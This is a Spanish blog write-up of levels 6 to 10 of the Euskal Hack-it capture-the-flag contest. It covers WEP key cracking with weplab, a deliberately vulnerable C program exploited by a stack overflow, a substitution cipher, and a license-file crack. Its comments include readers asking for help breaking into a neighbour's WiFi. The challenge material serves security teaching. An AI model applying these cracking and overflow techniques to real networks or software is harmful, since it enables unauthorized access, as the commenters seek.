Siguiendo con las soluciones a los niveles del Hack-it de este año en la Euskal, aquí van las 5 siguientes. Como ya dije, hay muchas soluciones posibles diferentes, así que, si queréis, podemos comentar soluciones alternativas en los comentarios 😉
Nivel 6
En este nivel tenemos que crackear una captura WiFi, aparentemente protegida con WEP. Después de intentarlo con aircrack, vemos que la captura tiene mutilados todos los paquetes, lo que indica que ha sido realizada con la opción –caplen del programa weplab. Usamos weplab para analizar la captura…
weplab -a captura-WiFi-level6-3ST3GC0L3R0.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]
Statistics for packets that belong to [F7:33:8F:B3:CC:72]
- Total valid packets read: 0
- Total packets read: 1
- Total unique IV read: 0
- Total truncated packets read: 1
- Total non-data packets read: 1
- Total FF checksum packets read: 0
Statistics for packets that belong to [00:14:BF:48:90:DE]
- Total valid packets read: 1990
- Total packets read: 1990
- Total unique IV read: 1990
- Total truncated packets read: 1293
- Total non-data packets read: 0
- Total FF checksum packets read: 0
PRISMHEADER SHOULD --NOT-- BE USED as there are 697 packets smaller than this header
Y vemos que el número de paquetes es demasiado pequeño como para un ataque estadístico, por lo que solamente nos quedan las opciones de fuerza bruta o diccionario. Es mucho más inteligente empezar con la opción de diccionario, porque terminará mucho antes:
$ cat /usr/share/dict/spanish | weplab -y captura-WiFi-level6-3ST3GC0L3R0.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]
Not BSSID specified.
Detected one packet with BSSID: [00:14:BF:48:90:DE]
Total valid packets read: 697
Total packets read: 1991
Statistical cracking started! Please hit enter to get statistics from John.
Weplab statistics will be printed each 5 seconds
It seems that the first control data packet verifies the key! Let's test it with others....
Right KEY found!!
Passphrase was --> salsa
Key: 73:61:6c:73:61
This was the end of the dictionnary attack.
Nivel 7
Este nivel es muy similar al nivel 4, pero ahora el buffer overflow exige generar un entero concreto (0xDEADBEEF):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int check = 0;
char login[20];
if(argc != 2)
{
printf("Error: Introduzca su nombre de usuario como parametro\nuso: %s usuario\n\n", argv[0]);
exit(-1);
}
strncpy(login, argv[1], 25);
printf("Comprobando número de serie... %08x\n", check);
if (check==0xdeadbeef)
{
printf("Hola %s, bienvenido al sistema...\n", login);
printf("La contraseña del siguiente nivel es LALALALA\n");
} else
{
printf("Lo siento %s, su numero de serie ha caducado\n", login);
exit(-1);
}
}
Dado que se trata de un binario de 32 bits little-endian, deberemos generar el serial de la siguiente manera (de atrás, hacia adelante):
$ USUARIO=$(printf "aaaaaaaaaaaaaaaaaaaa\xEF\xBE\xAD\xDE")
$ ./level7 $USUARIO
Comprobando número de serie... deadbeef
Hola aaaaaaaaaaaaaaaaaaaaïŸÞ, bienvenido al sistema...
La contraseña del siguiente nivel es v4k4muert4!
Nivel 8
Segundo nivel de criptografía, donde solamente nos dan el texto cifrado:
Tlzt tl ts ltektzg gexszg jxt rq hqlg qs louxotfzt focts: tjxolhtht
Dada la disposición de las letras, podemos pensar en una simple sustitución, letra por letra. Para intentar encontrar el alfabeto utilizado, una buena aproximación es asignar la letra más usada a la letra E, la más repetida en castellano e inglés. Posteriormente, como si se tratara de «La ruleta de la fortuna», ir sacando el resto de letras:
Tlzt tl ts ltektzg gexszg jxt rq hqlg qs louxotfzt focts: tjxolhtht
Este es el secreto oculto que da paso al siguiente nivel: equispepe
Nivel 9
Primer nivel de cracking en Win32, en el que hay que rellenar un fichero llave (levelC1.lic) correctamente para que el programa nos diga la contraseña del siguiente nivel.
Trazando el ejecutable con OllyDbg, vemos que el programa lee el fichero levelC1.lic para obtener usuario y contraseña. La contraseña tiene que tener 8 caracteres y en un momento dado, se compara el campo pass con la palabra «COGIAOTI»:
Probando con esta palabra en el fichero llave…
El binario nos la da por buena, por lo que será la contraseña del siguiente nivel.
Nivel 10
Otro nivel de cracking WiFi, parecido al anterior. Ante una captura WiFi, el proceso de siempre: analizarla, mirar qué ataque es el adecuado y atacar.
$ weplab -a captura-WiFi-level10-COGIAOTI.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]
Statistics for packets that belong to [00:14:BF:48:90:DE]
- Total valid packets read: 505296
- Total packets read: 505296
- Total unique IV read: 505296
- Total truncated packets read: 327938
- Total non-data packets read: 0
- Total FF checksum packets read: 0
PRISMHEADER SHOULD --NOT-- BE USED as there are 181548 packets smaller than this header
Al ver el número de paquetes, por encima de 200.000, el ataque más apropiado en principio es el ataque estadístico, usando los ataques de Korek:
$ weplab -r captura-WiFi-level10-COGIAOTI.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]
Not BSSID specified.
Detected one packet with BSSID: [00:14:BF:48:90:DE]
Total valid packets read: 177358
Total packets read: 505296
505296 Weak packets gathered:
Statistical cracking started! Please hit enter to get statistics.
Key NOT found
Perhaps you should increase the default probability (--perc) to a higher value (default 70%), or capture more packets.
El ataque no ha tenido éxito. Esto puede deberse a dos causas: que la muestra no sea estadísticamente representativa y haya que aumentar el –perc, o que el tamaño de la clave no sea el adecuado (weplab por defecto trabaja con claves de 64 bits). Probamos lo más rápido, cambiar el tamaño de la clave:
$ weplab -r -k 128 captura-WiFi-level10-COGIAOTI.pcap
weplab - Wep Key Cracker Wep Key Cracker (v0.1.6).
Jose Ignacio Sanchez Martin - Topo[LB]
Not BSSID specified.
Detected one packet with BSSID: [00:14:BF:48:90:DE]
Total valid packets read: 177358
Total packets read: 505296
505296 Weak packets gathered:
Statistical cracking started! Please hit enter to get statistics.
It seems that the first control data packet verifies the key! Let's test it with others....
Key: ca:ca:de:ca:fe:00:00:00:00:00:00:00:00
Right KEY found!!
Key cracked in 13 seconds
Listo, la clave es «cacadecafe».
Hola!!
Estoy en el nivel 6 y he conseguido la clave salsa (en hex 73:61:6c:73:61 ) El caso es que no funciona y como me salia una palabra que existe no podía ser coincidencia. Viendo la solución aquí esta bien. Por que no me fuciona?
Prueba de darle al boton si aprietas enter al introducir la respuesta no la da por buena simplemente se recarga la pagina (me paso en la euskal) :p
Eso era 😉 gracias
En el nivel 7 no hay ningún overflow ya que la función "strncpy(login, argv[1], 25);" no sobreescribe la variable "check",solo copia 25 caracteres y no llega a sobreescribirla.
Para que fuese vulnerable a stack overflow debería de ser asi "strcpy(login,argv[1])".
Si me equivoco por favor explicadmelo.
Gracias.
Hola Mikel,
sí que hay overflow dado que login tiene un tamaño de 20 bytes, no de 25, por lo que los 5 últimos bytes que permite escribir strncpy(x,y,25) ponen en riesgo lo siguiente en memoria, que corresponde justamente con el entero check, de 32 bits, es decir, 4 bytes.
Si tienes más dudas, me dices 😉
La cosa es que yo lo había compilado bajo Windows, con lo que 25 bytes no son suficientes,bajo linux si que hay overflow lo acabo de probar,fallo mio….
Mikel, supongo que ya sabrás que los binarios contra los que hay que pegarse son los que colgué en blog.txipinet.com/index.p… por eso pensaba que no había ambigüedad en esto, sorry O;-)
hola, soy nuevo hay una red inalambrica verca de mi casa con mucha intensidad de señal, pues estube haciendo pruebas con el auditor pero no se como utilizar esos programas, alguien me podria ayudar??
mi msn es metal_fuster@hotmail.com
Buenas, soy nuevo en esto, tengo un vecino con wifi cerca de mi y estoy haciendo algunas pruebas, estoy utilizando el programa commwiew for wifi ,he capurado mas de 4.000.000 de packets lo paso con el aircrack y no keys , lo que necesito saber es como mandar el ataque 0?, necesito estar conectado tambien yo a internet para poder mandarlo , sino es asi os rogaria me lo explicaseis como hacer de forma correcta, tengo
una tarjeta netegear con con chipset athereos para win.
post. mi wifi la consegui abrir , inyecatdo trafico.
gracias por vuestra ayuda